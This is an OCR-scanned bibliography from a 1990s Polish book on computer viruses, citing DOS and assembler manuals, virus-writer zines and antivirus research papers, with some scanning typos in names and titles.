
1. Leonid Bułhak, Ryszard Goczyński, Michał Tuszyński DOS 5.0 od środka 
Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1992.
2. Stanisław Lenkiewicz Sterowniki urządzeń zewnętrznych w systemie operacyjnym 
MS-DOS Wydawnictwo PLJ, Warszawa 1993.
3. Eugeniusz Wróbel Asembler 8086/88, Wydawnictwa Naukowo-Technicz-ne, 
Warszawa 1990.
4. Marek Kotowski Pod zegarem (Asembler 8086/80286), Wydawnictwo Lu-pus, 
Warszawa 1992.
5. Zbigniew Mroziński Mikroprocesor 8086 {Podręczny Katalog Elektronika), 
Wydawnictwa Naukowo-Techniczne, Warszawa 1992.
6. Ryszard Goczyński, Michał Tuszyński Mikroprocesory 80286, 80386, i 80486 
Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1991-

background image

7. Piotr Metzger Anatomia PC Helion, Gliwice 1993.
8. Krzysztof Kierzenkowski Programowanie z wykorzystaniem pamięci typu extended i 
expanded (Pamięci extended i expanded), Wydawnictwo Lupus, Warszawa 1994,
9. Arkadiusz Andrusz, Maciej Sokołowski Mapa pamięci IBM/PC w przykładach w 
pascalu i asemblerze , Wydawnictwo Lynx-Sft, Warszawa 1995.
10. Andrzej Dudek Jak pisać wirusy O.W. Read Me, Jelenia Góra 1993.
11. Microsoft Word, Podręcznik użytkownika Microsoft Corporation 1994.
12. Microsoft Excel, Opis funkcji Microsoft Corporation 1993.
13. Władysław Majewski Uwaga! Komputerowe wirusy " Wiedza i Życie", 1989,z.1.
14. Karol Szyndzielorz Projektanci komputerowych wirusów "Wiedza i Życie", 1989, 
15. Marek Sell Help do programu MKS_Vir.
16. Phalcon/Skism: 40HEX (issues 1-14).
17. VLAD: VLAD (issues 1-7).
18. VBB: Viruses Bits & Bytes (issues 1-2).
19. Immortal Riot: Insane Reality (issues 4-6).
20. NuKe: NuKe IntoJournal (issues 4-3).
21. Dark Angel VirGuide (issues L-?).
22. Raif Brown Interrupt list 51,
23. (C) (P) Potemkins Hackers Group Opcodes.lst (revision 1.27), Moscow.
24. Marl A. Ludwig The Little Black Book about Computer Viruses, volume 1 -The basic 
tcchuology, American Eagle Publications Inc. 1991.
25. Vessolin Bontchev Future Trends in Virus-Writing Virus Test Center, Uni-versity of 
Hamburg, Germany 1994.
26. Vesselin Bontchev Possible Virus Attacks Against Integrity Programs and How io 
Prevent them. Virus Test Center, Univercity of Hamburg Germany 1992.
27. Vosselin Bontchev The Bulgarian and Soviet Virus Pactories Bulgarian Aca-demy of 
Sciences, Sofia, Bułgaria.
28. Vesselm Bontchev lnVircible Test from Virus Test Center University of Hamburg.
29. Inside the Mind of Dark Ąveriger Personal Computer World, July 1993.
30. Julian Bibbell Viruses are Good For You USA: WIRED Ventui-es Ltd. 1995.
31. Sara Gordon Faces Behind the Masks November, England 1994.
32. Tarkan Yetiser Połymorphic Viruses - Implementation, Detection, and Protec-tion 
USA, Baltimore, VDS Advanced Research Group 1993.
33. Gary M. Watson A Discussion of Polymorphism Data Plus 1992.
34. Dmitry O. Gryaznov Scanners of the Year 2000 Senior Virus Research Analyst.
35. Epidemiology and Computer Viruses Alan, Solomon 1990.
36. Viriology 101.
37. Anthony Naggs CAROBASE Format Reference revised edition 1993.
38. 

Donn Seeley A Tour of the Worm Department of Computer Science, University 

of 

   Utah.

--------------- info ------------------

orginal book "Wirusy" by Adam Blaszczyk

scanned and ocr'ed by misha [cp'99]

misha@vc.pl.             1999.06.08

background image

---------------------------------------